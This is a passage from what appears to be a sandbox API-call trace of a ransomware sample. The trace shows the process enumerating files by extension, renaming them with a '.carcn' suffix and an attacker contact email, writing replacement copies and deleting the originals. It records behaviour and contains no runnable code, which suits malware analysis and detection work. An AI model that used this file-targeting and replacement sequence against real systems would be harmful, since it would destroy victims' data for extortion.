lpString2=".avi") returned 1 [0292.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.380] lstrlenW (lpString=".zip") returned 4 [0292.380] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.380] lstrlenW (lpString=".rar") returned 4 [0292.380] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.380] lstrlenW (lpString=".bz2") returned 4 [0292.380] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.380] lstrlenW (lpString=".7z") returned 3 [0292.380] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.380] lstrlenW (lpString=".dbf") returned 4 [0292.381] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.381] lstrlenW (lpString=".1cd") returned 4 [0292.381] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.381] lstrlenW (lpString=".jpg") returned 4 [0292.381] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.381] lstrlenW (lpString=".doc") returned 4 [0292.381] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.381] lstrlenW (lpString=".docx") returned 5 [0292.381] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0292.381] lstrlenW (lpString=".pdf") returned 4 [0292.381] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.381] lstrlenW (lpString=".xls") returned 4 [0292.381] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.381] lstrlenW (lpString=".xlsx") returned 5 [0292.381] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0292.381] lstrlenW (lpString=".ppt") returned 4 [0292.381] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.381] lstrlenW (lpString=".zip") returned 4 [0292.381] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.381] lstrlenW (lpString=".rar") returned 4 [0292.381] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.381] lstrlenW (lpString=".bz2") returned 4 [0292.381] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.382] lstrlenW (lpString=".7z") returned 3 [0292.382] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.382] lstrlenW (lpString=".dbf") returned 4 [0292.382] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.382] lstrlenW (lpString=".1cd") returned 4 [0292.382] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.382] lstrlenW (lpString=".jpg") returned 4 [0292.382] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.382] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.382] lstrlenW (lpString="join.avi") returned 8 [0292.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.383] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=199994) returned 1 [0292.383] CloseHandle (hObject=0x364) returned 1 [0292.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0292.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.386] lstrlenW (lpString=".doc") returned 4 [0292.386] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.386] lstrlenW (lpString=".docx") returned 5 [0292.386] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0292.386] lstrlenW (lpString=".pdf") returned 4 [0292.386] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.386] lstrlenW (lpString=".xls") returned 4 [0292.386] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.386] lstrlenW (lpString=".xlsx") returned 5 [0292.386] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0292.386] lstrlenW (lpString=".ppt") returned 4 [0292.386] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.386] lstrlenW (lpString=".zip") returned 4 [0292.386] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.386] lstrlenW (lpString=".rar") returned 4 [0292.386] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.386] lstrlenW (lpString=".bz2") returned 4 [0292.386] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.386] lstrlenW (lpString=".7z") returned 3 [0292.386] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.386] lstrlenW (lpString=".dbf") returned 4 [0292.386] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.386] lstrlenW (lpString=".1cd") returned 4 [0292.387] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.387] lstrlenW (lpString=".jpg") returned 4 [0292.387] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.387] lstrlenW (lpString=".doc") returned 4 [0292.387] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString=".docx") returned 5 [0292.387] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0292.387] lstrlenW (lpString=".pdf") returned 4 [0292.387] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString=".xls") returned 4 [0292.387] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString=".xlsx") returned 5 [0292.387] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0292.387] lstrlenW (lpString=".ppt") returned 4 [0292.387] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.387] lstrlenW (lpString=".zip") returned 4 [0292.387] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString=".rar") returned 4 [0292.387] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString=".bz2") returned 4 [0292.387] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString=".7z") returned 3 [0292.387] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.387] lstrlenW (lpString=".dbf") returned 4 [0292.387] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.387] lstrlenW (lpString=".1cd") returned 4 [0292.387] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0292.388] lstrlenW (lpString=".jpg") returned 4 [0292.388] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.388] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.388] lstrlenW (lpString="split.avi") returned 9 [0292.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.388] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=181964) returned 1 [0292.388] CloseHandle (hObject=0x364) returned 1 [0292.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0292.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.389] lstrlenW (lpString=".doc") returned 4 [0292.389] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.389] lstrlenW (lpString=".docx") returned 5 [0292.389] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0292.389] lstrlenW (lpString=".pdf") returned 4 [0292.389] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.389] lstrlenW (lpString=".xls") returned 4 [0292.389] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.389] lstrlenW (lpString=".xlsx") returned 5 [0292.389] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0292.389] lstrlenW (lpString=".ppt") returned 4 [0292.389] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.389] lstrlenW (lpString=".zip") returned 4 [0292.389] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.389] lstrlenW (lpString=".rar") returned 4 [0292.389] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.390] lstrlenW (lpString=".bz2") returned 4 [0292.390] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.390] lstrlenW (lpString=".7z") returned 3 [0292.390] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.390] lstrlenW (lpString=".dbf") returned 4 [0292.390] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.390] lstrlenW (lpString=".1cd") returned 4 [0292.390] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.390] lstrlenW (lpString=".jpg") returned 4 [0292.390] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.390] lstrlenW (lpString=".doc") returned 4 [0292.390] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.390] lstrlenW (lpString=".docx") returned 5 [0292.390] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0292.390] lstrlenW (lpString=".pdf") returned 4 [0292.390] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.390] lstrlenW (lpString=".xls") returned 4 [0292.390] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.390] lstrlenW (lpString=".xlsx") returned 5 [0292.390] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0292.390] lstrlenW (lpString=".ppt") returned 4 [0292.390] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.390] lstrlenW (lpString=".zip") returned 4 [0292.391] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.391] lstrlenW (lpString=".rar") returned 4 [0292.391] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.391] lstrlenW (lpString=".bz2") returned 4 [0292.391] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.391] lstrlenW (lpString=".7z") returned 3 [0292.391] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.391] lstrlenW (lpString=".dbf") returned 4 [0292.391] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.391] lstrlenW (lpString=".1cd") returned 4 [0292.391] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0292.391] lstrlenW (lpString=".jpg") returned 4 [0292.391] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.391] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.391] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0292.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.393] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=1600388) returned 1 [0292.393] CloseHandle (hObject=0x364) returned 1 [0292.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0292.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0292.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0292.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0292.394] lstrlenW (lpString=".doc") returned 4 [0292.394] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.394] lstrlenW (lpString=".docx") returned 5 [0292.394] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0292.394] lstrlenW (lpString=".pdf") returned 4 [0292.394] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.394] lstrlenW (lpString=".xls") returned 4 [0292.394] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.394] lstrlenW (lpString=".xlsx") returned 5 [0292.394] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0292.394] lstrlenW (lpString=".ppt") returned 4 [0292.394] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0292.394] lstrlenW (lpString=".zip") returned 4 [0292.394] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.394] lstrlenW (lpString=".rar") returned 4 [0292.394] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.394] lstrlenW (lpString=".bz2") returned 4 [0292.394] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.394] lstrlenW (lpString=".7z") returned 3 [0292.394] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0292.394] lstrlenW (lpString=".dbf") returned 4 [0292.394] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0292.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0293.251] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.252] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0293.253] GetLastError () returned 0x0 [0293.253] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1126, lpOverlapped=0x0) returned 1 [0293.266] WriteFile (in: hFile=0x378, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1130, lpOverlapped=0x0) returned 1 [0293.268] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.268] WriteFile (in: hFile=0x378, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.268] SetEndOfFile (hFile=0x378) returned 1 [0293.269] CloseHandle (hObject=0x378) returned 1 [0293.269] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.269] SetEndOfFile (hFile=0x374) returned 1 [0293.270] CloseHandle (hObject=0x374) returned 1 [0293.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0293.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.271] lstrlenW (lpString=".doc") returned 4 [0293.271] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.271] lstrlenW (lpString=".docx") returned 5 [0293.271] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.271] lstrlenW (lpString=".pdf") returned 4 [0293.271] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.271] lstrlenW (lpString=".xls") returned 4 [0293.271] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.271] lstrlenW (lpString=".xlsx") returned 5 [0293.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.271] lstrlenW (lpString=".ppt") returned 4 [0293.272] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.272] lstrlenW (lpString=".zip") returned 4 [0293.272] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.272] lstrlenW (lpString=".rar") returned 4 [0293.272] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.272] lstrlenW (lpString=".bz2") returned 4 [0293.272] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.272] lstrlenW (lpString=".7z") returned 3 [0293.272] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.272] lstrlenW (lpString=".dbf") returned 4 [0293.272] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.272] lstrlenW (lpString=".1cd") returned 4 [0293.272] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.272] lstrlenW (lpString=".jpg") returned 4 [0293.272] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.272] lstrlenW (lpString=".doc") returned 4 [0293.272] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.272] lstrlenW (lpString=".docx") returned 5 [0293.272] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.272] lstrlenW (lpString=".pdf") returned 4 [0293.272] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.273] lstrlenW (lpString=".xls") returned 4 [0293.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.273] lstrlenW (lpString=".xlsx") returned 5 [0293.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.273] lstrlenW (lpString=".ppt") returned 4 [0293.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.273] lstrlenW (lpString=".zip") returned 4 [0293.273] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.273] lstrlenW (lpString=".rar") returned 4 [0293.273] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.273] lstrlenW (lpString=".bz2") returned 4 [0293.273] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.273] lstrlenW (lpString=".7z") returned 3 [0293.273] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.273] lstrlenW (lpString=".dbf") returned 4 [0293.273] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.273] lstrlenW (lpString=".1cd") returned 4 [0293.273] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0293.273] lstrlenW (lpString=".jpg") returned 4 [0293.273] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.274] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0293.274] lstrlenW (lpString="AG00174_.GIF") returned 12 [0293.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 